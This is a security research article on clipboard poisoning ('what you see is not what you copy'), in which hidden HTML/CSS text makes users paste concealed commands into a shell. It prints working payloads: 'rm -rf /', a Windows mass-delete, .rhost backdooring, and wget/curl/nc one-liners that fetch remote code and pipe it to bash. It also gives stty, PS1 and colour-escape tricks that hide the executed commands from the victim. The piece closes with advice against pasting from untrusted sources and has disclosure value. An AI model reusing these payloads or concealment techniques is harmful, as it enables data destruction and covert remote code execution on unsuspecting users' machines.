User iteraction based exploitation: WYSINWYC (What you see is not what you copy)
When working with computers you know if there is or not a reliable and
deterministic way to exploit them, ineed when working with humans there's
no certezza. Technical people often prefear to stay technical and avoid
humans. This is infact our first article witch need direct human
iteraction to work.
The presented technique relay on a special type of "rich text"
copy where the apparently inncuos payload is pasted in a different
context able to parse it. This is especially true, but definitely not
limited to, online how-to.
The core concept of the attack is that the displayed text (and thus the
data the user thinks to have copied) is different from what the browser
have in realy copied.
Recently "clipboard poisoning" attacks have arised using Flash (one of
the few good candidates able to set the clipboard, other than VBScript,
as it doesn't follow browser raccomendations and implementations wich
documents coming from unsafe XXX like the internets.) and this convinto
us to publish the present, two years old, discovery and research.
Do you have even copy/pasted something from your brower to your shell?
Did you felt that as an innocuos process? Then our scope in this
pubblication is to show how dangerous and silent is.
Mounting the attack presented is easy but could have different level
of results. It has to be carefully developed, toughted, planned and
executed to get prime levels of p0wn. Also the specific "how-to"
example is somehow limited to geeks and techinal people who uses unix
Social engineering in any of it's forms can be used to lower the bar
and render a specific attack more effective.
Consider anyway that the concept is wider and applies to any "rich-data"
who changes it's context thanks to the user. It's not limited to
browsers and shells but our very own example is.
The basic implementation makes no use of JS but only HTML and CSS.
A more weaponized POC that is presented makes use of JS to better handle
different browsers but gracefully degrades to HTML only if JS is
disabled or extensions like NoScript are used.
Preface is over, let's go with the interesting part.
Technical attacker-side details: hiding.
uname >/dev/null;xterm;uname -a
This rapresents the smallest POC to demonstrate the technique and only
works with Firefox. As you can imagine, seen the prologue, the browser
will only render "uname -a" to the user but the clipboard (both the
"Xerox copy" (tm) of X11/Xorg, select and paste, and the standard
CTRL+C/CTRL+V mechanism) will effectively contain the hidden "xterm"
When such data is pasted into a shell the hidden command will extecute
together with the others.
The POC that follows is a better implementation and takes in merit the
implementation details scaturiti from a deeper research once it was
realized that the attack was extremly interesting (it was succesfully
tested on many paranoid and security addicted friends with good success
JS has only a small role for Browser and OS detection (as the
implementation can be extended to take care of Windows too as any other
OS). The main part is the CSS "universal" hiding stye, with the only
little exception for Opera that needs special attentions.
Technical victim-side details: introduction and terminal details.
Now that we know that there's a nice and faesable user iteraction based
way to send our data/commands to user applications and the "copy" part
is tuned to be as hidden as possible (a simple paste in a text editor
will completely reveal the evil intentions) it's the turn of the "paste"
Stealthness can be obtained in two different ways: small payload (who
will notice 20 chars or less) in the pasted text and by visive tricks
or by the combination of boths methods.
Payloads will be presented first then the victim-side hiding part.
Remember that this technique is not limited to shell/terminal but
examples are build against the scenario of a user iteraction from a
"rich copy" to it's root/user shell.
Technical victim-side details: small offline and two stage payloads.
A list of real life example follows, just to give you an idea.
rm -rf /
del /F /S /Q * # windows
echo "*" > ~/.rhost
Remote storage over http
wget -q example.com -O-|bash
curl -s example.com|bash
echo -en "GET /\n\n"|nc example.com 80|bash
The shortest that comes to my mind is "GET ush.it|sh" (13 chars).
Other remote storage fetch methods:
dig AXFR evil.com @evil-dns-with-53-tcp # since zone transfers use TCP
Just use your immagination to figure out the best payload to inject
seen the network topology and size.
As you can see small commands are limited in terms of flexibility and
remote fetch/exec can be made useless by network protections (egress
filtering, my-work-is-grep ids) and configuration issues (missing
routing, machine offline, personal firewall, etc).
Small commands normally doesn't work very well offline and network ones
can bypass the above protections (like for the dns thingie). Also small
injection payloads can be used to mout two stage attacks where the big
part is stored online.
Network storage potentially leave more tracks on the victim's computer
and network and can help track back the attacker while a stealth
selfcontained command could be very hard to track (was the forum or
the apache.org howto who p0wned me?).
This technique allows you to sent a lot of data to the client and big
selfcontained paylaods up to >100k have been succesfully tested, can
you imagine how mutch logic can you stuff into it?
Of course it's possible to send multirow text but remember to calibrate
carefully newlines as unexpected results could arise.
Technical victim-side details: selfcontained and wrapped/packed payloads
This is the beast, a complete, fully featured and demo oriented payload
that demonstrates the ability to carry complex self-contained attacks.
It makes use of a number of utilities like "echo", "uudecode", "base64",
"tar", "" and "".
Please consider that much less is needed to successfully own a system
but the scope of the demo is to entratain you.
On the other side selfcontained attacks alone are pretty visible since
you'll see huge blobs of text being typed in the terminal.
Technical victim-side details: hiding on the terminal
To carry a lot of data while remaining stealth it's necessary to use
other tricks as promised before.
Hide the input in linux with stty:
Hide the input in linux with read -s
echo "ls -la" | perl -e '$cmd=;chop($cmd);print("read -sn".length($cmd)." a;\n".$cmd."\$a;\n");'
read -sn6 a;
The above is a simlple and smart (read -sn6 a; ls -la$a;).
Hide the output in linux with redirects:
echo -en 2>&1 &>/dev/null;
Of course you can redirect the output to Kalapampur.
Hide the output in linux with terminal color escape sequences:
echo -en "\033[40m\033[30mAAA";
Now we can mix them together to get a killer routine that possibly will
works on different operative systems and enviroments.
stty -echo;echo -en "\033[40m\033[30mAAA";
Users that uses a colored PS1 have an escape sequence that will reset
our escape sequence so the best is to disable PS1.
stty -echo;PS1="";echo -en "\033[40m\033[30mAAA";
ls 2>&1 &>/dev/null;
It could be a good idea to restore the PS1 after the attack.
a=$PS1;PS1="";echo -en "\033[40m\033[30mAAA";ls 2>&1 &>/dev/null;stty echo;PS1=$a;
A better alternative that produces better output exist.
a=$PS1;PS1="";echo -en "\033[40m\033[30mAAA";ls 2>&1 &>/dev/null;stty echo;
Technical victim-side details: considerations and demo.
Many aspects have been touched as user iteraction needs precision to
work on tech-savy humans. This is the best we could come out that
doesn't cade in the uninteresting phising/please-click-on-the-exe
category. The number and complexity of elements in play require special
attantion when crafting the attack.
The very nice part is that no comuter vulnerability is required and
this will probably work until the whole internet userbase gets his
brain upgrded to version 2.0. This is expected to happen for Never GMT.
Conceps involved are: user iteraction, trust in what you think are
doing, cross-contexts actions. Technical details exposed are: browser
"copy" trickery and hiding, terminal "paste" trickery and hiding, online
and offline payloads.
Summarizing: never copy and paste something directly from an untrusted
source to an executable context. Never ever.
We really hope you enjoyed the reading. Have a good day.